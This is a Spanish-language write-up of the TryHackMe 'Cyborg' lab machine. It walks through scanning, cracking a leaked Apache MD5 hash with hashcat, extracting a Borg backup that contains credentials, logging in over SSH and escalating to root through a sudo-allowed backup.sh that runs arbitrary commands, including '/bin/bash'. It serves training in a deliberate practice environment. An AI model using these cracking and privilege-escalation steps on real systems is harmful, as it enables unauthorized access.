Entrada

Cyborg

RECONOCIMIENTO

Hoy vamos a practicar con la maquina de Tryhackme llamada Cyborg. Al iniciar la maquina, visito su dirección IP y nos encontramos que se trata de un servidor Apache

ESCANEO Y ENUMERACIÓN

Realizamos un escaner a la dirección IP. Para ellos podemos usar nmap o Nessus. En mi caso, estaré utilizando Nessus para esta máquina. Tras realizar el análisis, observamos que tiene los siguientes puertos abiertos y que además, podemos navegar por ciertos directorios que deberían estar protegidos.

Navegamos dentro de el directorio /etc/squid/ y nos encontramos con el archivo passwd.

Identificamos el Hash, existen varios métodos para identficarlo, en mi caso utilizaré la web Hashes.com. En Kali, existe una herramienta llamada #hash-identifier.

Guardamos el hash en un archivo y procedemos a desencriptarlo:

  • Utilizaremos hashcat, para ello ejecutamos el siguiente comando:
1
❯ hashcat -m 1600 -a 0 <nombre de archivo> /usr/share/wordlists/rockyou.txt
  • Una vez que obtenemos la clave, la guardamos en una nota:
1
echo '$apr1$BpZ.Q.1m$F0qqPwHSOG50URuOVQTTn.:<clave>' > clavemd5.txt

Volvemos a Nessus y comprobamos los logs en busca de mas informacion. Conseguimos mas directorios por los que podemos navegar en la web.

Navegamos hasta el directorio /admin/ y nos encontramos con lo siguiente:

Descargamos el archivo archive.tar. Para poder descomprimirlo, usamos el comando:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
tar xvf archive.tar
home/field/dev/final_archive/
home/field/dev/final_archive/hints.5
home/field/dev/final_archive/integrity.5
home/field/dev/final_archive/config
home/field/dev/final_archive/README
home/field/dev/final_archive/nonce
home/field/dev/final_archive/index.5
home/field/dev/final_archive/data/
home/field/dev/final_archive/data/0/
home/field/dev/final_archive/data/0/5
home/field/dev/final_archive/data/0/3
home/field/dev/final_archive/data/0/4
home/field/dev/final_archive/data/0/1

Observamos que tenemos un archivo ~/final_archive/config. Navegamos hasta el directorio y examinamos el contenido:

1
2
3
cd ~/TryHackme/maquinas/Cyborg/content/home/field/dev/final_archive
❯ ls
 data   config   hints.5   index.5   integrity.5   nonce   README

Leemos el README:

1
2
3
❯ catn README
This is a Borg Backup repository.
See https://borgbackup.readthedocs.io/

Descubrimos que es una copia de seguridad realizada con Borg. Procedemos a descargarlo e instalarlo:

1
sudo apt install borgbackup

Extraemos usando la contraseña que obtuvimos anteriormente (squi…):

1
borg extract ~/path/hasta/el/archivo/final_archive::music_archive

Ahora podremos navegar por los directorios /home/alex/ y dentro de uno de ellos encontraremos un archivo .txt con unas credenciales

1
2
3
4
❯ catn note.txt
Wow I'm awful at remembering Passwords so I've taken my Friends advice and noting them down!

alex:S3

EXPLOTACIÓN

Ahora que hemos obtenido las credenciales, podremos conectarnos a través de ssh a nuestra víctima, para ellos ejecutamos:

1
ssh <usuario>:<ip_victima>

Una vez dentro listamos los directorios con ls -la para ver todos los directorios y sus correspondientes privilegios. Encontramos un archivo .txt y ejecutamos el comando cat <archivo>.txt para así poder leer su contenido. Dentro obtenemos nuestra primera flag.

1
2
<usuario>@ubuntu:~$ cat <archivo>.txt
flag{1_hop...

ESCALADA DE PRIVILEGIOS

Si ejecutamos el comando sudo -lobtenemos el siguiente resultado:

1
2
3
4
5
6
Matching Defaults entries for <usuario> on ubuntu:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User <usuario> may run the following commands on ubuntu:
    (ALL : ALL) NOPASSWD: /etc/mp3backups/backup.sh

Pero, me doy cuenta de algo que resulta bastante curioso. Al ver el contenido de el archivo .bash_history observo lo siguiente:

1
2
3
4
5
6
7
8
cd /etc/mp3backups/
ls
./backup.sh
ls
echo "hi" >> backup.sh
ls
sudo ./backup.sh -c whoami
sudo ./backup.sh -c /bin/bash

Me dirijo en donde se encuentra el archivo backup.sh y veo su contenido. Este archivo ejecuta un cronjob y da la casualidad, que permite la ejecución de comandos.

Si ejecutamos el archivo con sudo podemos navegar por el directorio root y dentro, descubrimos el archivo root.txt. Ya solo nos quedaria ver su contenido y obtener el ultimo flag.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
@ubuntu:/etc/mp3backups$ sudo ./backup.sh -c "ls /root"
-------------------------------------------------------

Backup finished
root.txt

-------------------------------------------------------

@ubuntu:/etc/mp3backups$ sudo ./backup.sh -c "cat /root/root.txt"

-------------------------------------------------------

Backup finished
flag{Than5s_f0r_

Esta entrada está licenciada bajo CC BY 4.0 por el autor.